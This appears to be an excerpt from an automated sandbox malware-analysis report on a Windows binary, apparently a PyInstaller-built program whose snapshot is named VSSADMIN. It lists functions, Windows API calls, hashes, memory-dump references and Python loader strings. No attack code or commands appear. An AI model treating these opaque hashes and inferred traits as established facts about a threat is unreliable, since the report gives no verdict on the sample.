Opcode ID: bf2dc69d1c671b65f6fe74b61b09bd13a14de0638ac0b577694877a04e2cb74c
Instruction ID: 26f789cead0624a97e08d5b75c98d14bd99aa0a56921d839e71615d07107ef4b
Opcode Fuzzy Hash: bf2dc69d1c671b65f6fe74b61b09bd13a14de0638ac0b577694877a04e2cb74c
Instruction Fuzzy Hash: 87015E7261CA5282E7545F14E48127AB7B1FB82B75F604237E6AD825D4DF7ED050DB00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C89E48 Relevance: 3.0, APIs: 2, Instructions: 19COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlReleasePrivilege.NTDLL(?,?,?,00007FF614C91E72,?,?,?,00007FF614C91EAF,?,?,00000000,00007FF614C92375,?,?,?,00007FF614C922A7), ref: 00007FF614C89E5E
GetLastError.KERNEL32(?,?,?,00007FF614C91E72,?,?,?,00007FF614C91EAF,?,?,00000000,00007FF614C92375,?,?,?,00007FF614C922A7), ref: 00007FF614C89E68

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: ErrorLastPrivilegeRelease
String ID:
API String ID: 1334314998-0
Opcode ID: 90a3e1b0ca63f129125972b75d02b7296718c6d583bf4673ea5362494b00de43
Instruction ID: f2fe67c0897fc9482d6441b18da886230114c02c67fad160bd95c4e5623bad8f
Opcode Fuzzy Hash: 90a3e1b0ca63f129125972b75d02b7296718c6d583bf4673ea5362494b00de43
Instruction Fuzzy Hash: 92E08650F08E4353FF189BF194C417512705F87F60B44503AC80EC3251EE2CA9459200

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C8671C Relevance: 3.0, APIs: 2, Instructions: 12COMMON

Download Yara Rule

APIs

RemoveDirectoryW.KERNELBASE ref: 00007FF614C86720
GetLastError.KERNEL32 ref: 00007FF614C8672A

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: DirectoryErrorLastRemove
String ID:
API String ID: 377330604-0
Opcode ID: f413b4ddc67d8632ac5557a0a97acca73a4185b66c4a9911fb05703a719da85e
Instruction ID: fd31f18b22c4eb6ae250733453a6587bfc4b5050ecef8b03c2ffe3a81b0c74f3
Opcode Fuzzy Hash: f413b4ddc67d8632ac5557a0a97acca73a4185b66c4a9911fb05703a719da85e
Instruction Fuzzy Hash: E8D01214F2DE4391EA1827755CC533921B03F46F34FD00637C01EC31D1EE1EA0956101

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C86FA0 Relevance: 3.0, APIs: 2, Instructions: 12fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE ref: 00007FF614C86FA4
GetLastError.KERNEL32 ref: 00007FF614C86FAE

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: DeleteErrorFileLast
String ID:
API String ID: 2018770650-0
Opcode ID: 85f758df515426b71bd3396e0c87f7450f551412155cbcefa8c343172ad84c23
Instruction ID: d4926ad4f19582852a5e67f2cd32d7dc07bbaccf79acf8defe075354dccf635b
Opcode Fuzzy Hash: 85f758df515426b71bd3396e0c87f7450f551412155cbcefa8c343172ad84c23
Instruction Fuzzy Hash: 38D01224F19E4391EA1837755CC563811B07F46F78F910637C01EC31D1EE1EE1996101

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C76CC0 Relevance: 1.6, APIs: 1, Instructions: 141COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF614C77A60: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF614C726FB), ref: 00007FF614C77A9A

_findclose.LIBCMT ref: 00007FF614C76F19

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: ByteCharMultiWide_findclose
String ID:
API String ID: 2772937645-0
Opcode ID: e2d0104db5e0f9ebe8afac4b65564d71e0016f36bf532ebb6ddabb36bb2b0c3c
Instruction ID: 00c8cb951e60bbec03345006576054dbfd5067d1d1c42baadcfbb853ce7136a1
Opcode Fuzzy Hash: e2d0104db5e0f9ebe8afac4b65564d71e0016f36bf532ebb6ddabb36bb2b0c3c
Instruction Fuzzy Hash: C2717C52E18EC582E611CB2CC5452FD7370F7AAB68F55E322DB9C52592EF28E2D9C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C8B3AC Relevance: 1.6, APIs: 1, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF614C8B3D4

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: cd414821b6f546225101efcda0891026701ff68dd4107860c76c66003ece607e
Instruction ID: 03ae247b27809fa9dc73bbb45872fdf4a5ba0edb87a9d231745c0654aac005f1
Opcode Fuzzy Hash: cd414821b6f546225101efcda0891026701ff68dd4107860c76c66003ece607e
Instruction Fuzzy Hash: B7419E32908A4787EA24CA19E58127973B1EB97FA1F140232E78EC36D1DF2CE402E750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C77230 Relevance: 1.6, APIs: 1, Instructions: 85COMMON

Download Yara Rule

APIs

_fread_nolock.LIBCMT ref: 00007FF614C772DA

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: _fread_nolock
String ID:
API String ID: 840049012-0
Opcode ID: ffcdb3f93acbc7b642b0c367d7ec6e2fdf44ecd7681d82c6a1385de564375a62
Instruction ID: b63e5b07194cf5a7f77fe1ab55d2cf8db54b057f4d9f915d165a8fd17a857cbd
Opcode Fuzzy Hash: ffcdb3f93acbc7b642b0c367d7ec6e2fdf44ecd7681d82c6a1385de564375a62
Instruction Fuzzy Hash: 4E21A621B0EA5647FA249B1269847FAA661BF46FE5F885432EE0D87786DE3DF041C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C8AE3C Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF614C8AEC2

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 5ed01260f61c1a9edb3b9c9d383e1d052b4bb4cd62c1ee8f87bb56751b307cf1
Instruction ID: bdca0d7cf7522b048a09474cbe80d8adb55b27009ca6eefbae7a56d23ab045d5
Opcode Fuzzy Hash: 5ed01260f61c1a9edb3b9c9d383e1d052b4bb4cd62c1ee8f87bb56751b307cf1
Instruction Fuzzy Hash: 1531AE71A18E4385EB11AB59888037C7670AF83FB4F41063BEA2D873D2DF7DA441A714

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C887E9 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF614C88817

Part of subcall function 00007FF614C88910: GetModuleHandleExW.KERNEL32 ref: 00007FF614C88935
Part of subcall function 00007FF614C88910: GetProcAddress.KERNEL32 ref: 00007FF614C8894B
Part of subcall function 00007FF614C88910: FreeLibrary.KERNEL32 ref: 00007FF614C88972

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: 6fb3310ffc3292af0fdd94bbbd9082ba6701090cdfedec6a3c43b4571714928a
Instruction ID: bcc1aa7efde8f78bb98c088f62af5696711bb5bfbb60d52fda648f2d1bfb8ee7
Opcode Fuzzy Hash: 6fb3310ffc3292af0fdd94bbbd9082ba6701090cdfedec6a3c43b4571714928a
Instruction Fuzzy Hash: 1B218B32E04A0689EB249F64D4802ED33B0FB45B6CF140A3AD62C87EC6DF78D544CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C854F8 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF614C8545D

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: be1079961907d1906d587a3e65c1e024338dd0a3e917ec7f85ba85c18500dcb2
Instruction ID: 851e6e4591848b8cd216b5c5358cf1129bc3be11b57677648a27b92bad48828b
Opcode Fuzzy Hash: be1079961907d1906d587a3e65c1e024338dd0a3e917ec7f85ba85c18500dcb2
Instruction Fuzzy Hash: 15119621A0CA5381EF609F51948027DA2B0BFD7FA5F444437EA8CC769ADF7CD500A700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C9578C Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF614C957AF

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: bfd0dbd31329e8855e2ea518bb8c472100a71056899b27504ce81c8632d734fa
Instruction ID: 7db7c192fe2b76f524c7c5b2199fb77893a77cb47f2a59ddee350370a1325f0f
Opcode Fuzzy Hash: bfd0dbd31329e8855e2ea518bb8c472100a71056899b27504ce81c8632d734fa
Instruction Fuzzy Hash: 8A217F33A18A4296DB618F18E48036976B0EB96FA8F244236EA5D876D5DF3DD5018B04

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C7F64C Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF614C7F6A0

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: f8ccbbb08b6b64fca274b3102351a157ba9f641dbe881e0fbefe782dfe020abd
Instruction ID: eaf90d44afeb166a819dae1377bcbe54cf659c47168e4e3329ca6316d345c132
Opcode Fuzzy Hash: f8ccbbb08b6b64fca274b3102351a157ba9f641dbe881e0fbefe782dfe020abd
Instruction Fuzzy Hash: 2401A561A0CF4342E904DB5299D1079A7A1BB87FF0F084636DE5C97BEADE3CD5018704

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C86B74 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF614C86B9F

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: ff7701af8cb768011259a96fb0cdaae69b45464d9f9b930ea94a69369e7e69e2
Instruction ID: b77321515603504d9b62c82e2a173a6986a4da05f98fdb29e80b7c19908d795b
Opcode Fuzzy Hash: ff7701af8cb768011259a96fb0cdaae69b45464d9f9b930ea94a69369e7e69e2
Instruction Fuzzy Hash: DC113A32A18E4382F3109B14A4C0579B2B5EB86BA4F55453AE69DC77A2DF7CF810AB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C8DD70 Relevance: 1.5, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,?,00000000,00007FF614C8A8E6,?,?,?,00007FF614C89AA3,?,?,00000000,00007FF614C89D3E), ref: 00007FF614C8DDC5

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 71284afaabaf46e061be5dd41c1ee9242f4793079330fcfb9ee2b8ac464e22c2
Instruction ID: 2ab543c3322530bba426973a480ad6d1261eab43de51dadf3a8a2d539df9437f
Opcode Fuzzy Hash: 71284afaabaf46e061be5dd41c1ee9242f4793079330fcfb9ee2b8ac464e22c2
Instruction Fuzzy Hash: 12F06D44B09A4782FE585B6198D03B512B05F8BFA4F0C4433C90EC73C2EE1CE892A320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C8CAFC Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,?,?,00007FF614C7FE74,?,?,?,00007FF614C81386,?,?,?,?,?,00007FF614C82979), ref: 00007FF614C8CB3A

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: a7ce567b16112f19067e33b9dc0b94b4c499acd5a025fbf7a889946ef18f26a1
Instruction ID: bca662125605553ae1b21a038d26fc7c5dfebe982e319e74c95680a684b58faa
Opcode Fuzzy Hash: a7ce567b16112f19067e33b9dc0b94b4c499acd5a025fbf7a889946ef18f26a1
Instruction Fuzzy Hash: 72F05860F0DE8745FE2456A298D027652A05FCAFB4F080732D82EC72C2DE2CE841E120

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C842C0 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF614C8E384: DeleteCriticalSection.KERNEL32 ref: 00007FF614C8E3F7

DeleteCriticalSection.KERNEL32 ref: 00007FF614C842F1

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: CriticalDeleteSection
String ID:
API String ID: 166494926-0
Opcode ID: c87858656cf315d08959815e89120c56aa562766f4cd24e00349d691214fe034
Instruction ID: 14a2566d7e00c64c72c94caa7bf31536ca23298b02aca0b031a5a7305df29beb
Opcode Fuzzy Hash: c87858656cf315d08959815e89120c56aa562766f4cd24e00349d691214fe034
Instruction Fuzzy Hash: 85F03061E18D0781FB04ABA6D8C137813B0EF97FB5F000037CD0DC72529E1CA4909221

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C77360 Relevance: 1.3, APIs: 1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: DirectoryErrorLastRemove
String ID:
API String ID: 377330604-0
Opcode ID: 421877e3912a0793c8b229f65e0544724a19ed071a722aede8cfb3d7b9fe0b6d
Instruction ID: 71d1813f267b5422d99a7772cf2db7702c6980e0ec52edecbe4f97583a7eb25a
Opcode Fuzzy Hash: 421877e3912a0793c8b229f65e0544724a19ed071a722aede8cfb3d7b9fe0b6d
Instruction Fuzzy Hash: 0B418716E1DE8682E6119B28D5512FD2370FBA6B59F54A233DF8D93193EF28B1D8C700

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00007FF614C73E10 Relevance: 291.0, APIs: 55, Strings: 111, Instructions: 457libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,?,00000000,00007FF614C730DE), ref: 00007FF614C73E26
GetProcAddress.KERNEL32(?,?,00000000,00007FF614C730DE), ref: 00007FF614C73E65
GetProcAddress.KERNEL32(?,?,00000000,00007FF614C730DE), ref: 00007FF614C73E8A
GetProcAddress.KERNEL32(?,?,00000000,00007FF614C730DE), ref: 00007FF614C73EAF
GetProcAddress.KERNEL32(?,?,00000000,00007FF614C730DE), ref: 00007FF614C73ED7
GetProcAddress.KERNEL32(?,?,00000000,00007FF614C730DE), ref: 00007FF614C73EFF
GetProcAddress.KERNEL32(?,?,00000000,00007FF614C730DE), ref: 00007FF614C73F27
GetProcAddress.KERNEL32(?,?,00000000,00007FF614C730DE), ref: 00007FF614C73F4F
GetProcAddress.KERNEL32(?,?,00000000,00007FF614C730DE), ref: 00007FF614C73F77

Strings

Failed to get address for PyMem_RawFree, xrefs: 00007FF614C745D1
Py_GetPath, xrefs: 00007FF614C740B5
Failed to get address for Py_UTF8Mode, xrefs: 00007FF614C73FB9
Failed to get address for PyUnicode_Join, xrefs: 00007FF614C74699
Failed to get address for PyUnicode_AsUTF8, xrefs: 00007FF614C74671
Failed to get address for Py_Initialize, xrefs: 00007FF614C74081
Py_FrozenFlag, xrefs: 00007FF614C73E80
Failed to get address for PyObject_CallFunction, xrefs: 00007FF614C74379
Failed to get address for PyErr_Clear, xrefs: 00007FF614C74171
PyErr_Fetch, xrefs: 00007FF614C741CD
PyUnicode_Decode, xrefs: 00007FF614C74605
Failed to get address for Py_VerboseFlag, xrefs: 00007FF614C73F61
Failed to get address for Py_FrozenFlag, xrefs: 00007FF614C73E9C
PyObject_CallFunction, xrefs: 00007FF614C7435D
Failed to get address for Py_DecodeLocale, xrefs: 00007FF614C745A9
PyImport_ImportModule, xrefs: 00007FF614C74295
PyList_New, xrefs: 00007FF614C742E5
Failed to get address for Py_Finalize, xrefs: 00007FF614C74031
Py_SetPythonHome, xrefs: 00007FF614C74105
PySys_AddWarnOption, xrefs: 00007FF614C7444D
Failed to get address for PyObject_CallFunctionObjArgs, xrefs: 00007FF614C743A1
Py_DontWriteBytecodeFlag, xrefs: 00007FF614C73E1F
Failed to get address for PyUnicode_Decode, xrefs: 00007FF614C74621
Failed to get address for PyEval_EvalCode, xrefs: 00007FF614C74531
Failed to get address for Py_FileSystemDefaultEncoding, xrefs: 00007FF614C73E77
Py_DecodeLocale, xrefs: 00007FF614C7458D
Py_UnbufferedStdioFlag, xrefs: 00007FF614C73F6D
PySys_SetPath, xrefs: 00007FF614C744ED
Failed to get address for PySys_SetArgvEx, xrefs: 00007FF614C74491
Failed to get address for PyUnicode_Replace, xrefs: 00007FF614C746C1
Failed to get address for PyImport_AddModule, xrefs: 00007FF614C74261
Failed to get address for Py_NoUserSiteDirectory, xrefs: 00007FF614C73F11
Failed to get address for PyObject_GetAttrString, xrefs: 00007FF614C743F1
Failed to get address for PyLong_AsLong, xrefs: 00007FF614C74329
Failed to get address for PySys_AddWarnOption, xrefs: 00007FF614C74469
Failed to get address for PyObject_SetAttrString, xrefs: 00007FF614C743C9
PyDict_GetItemString, xrefs: 00007FF614C7412D
Failed to get address for PyObject_Str, xrefs: 00007FF614C74419
Py_Initialize, xrefs: 00007FF614C74065
Py_SetPath, xrefs: 00007FF614C7408D
Failed to get address for PyMarshal_ReadObjectFromString, xrefs: 00007FF614C74559
Py_IncRef, xrefs: 00007FF614C7403D
Failed to get address for PyUnicode_FromString, xrefs: 00007FF614C74581
GetProcAddress, xrefs: 00007FF614C73E3F
Py_OptimizeFlag, xrefs: 00007FF614C73F1D
PyErr_Restore, xrefs: 00007FF614C741F5
PyObject_SetAttrString, xrefs: 00007FF614C743AD
Py_NoSiteFlag, xrefs: 00007FF614C73ECD
Failed to get address for PyErr_Restore, xrefs: 00007FF614C74211
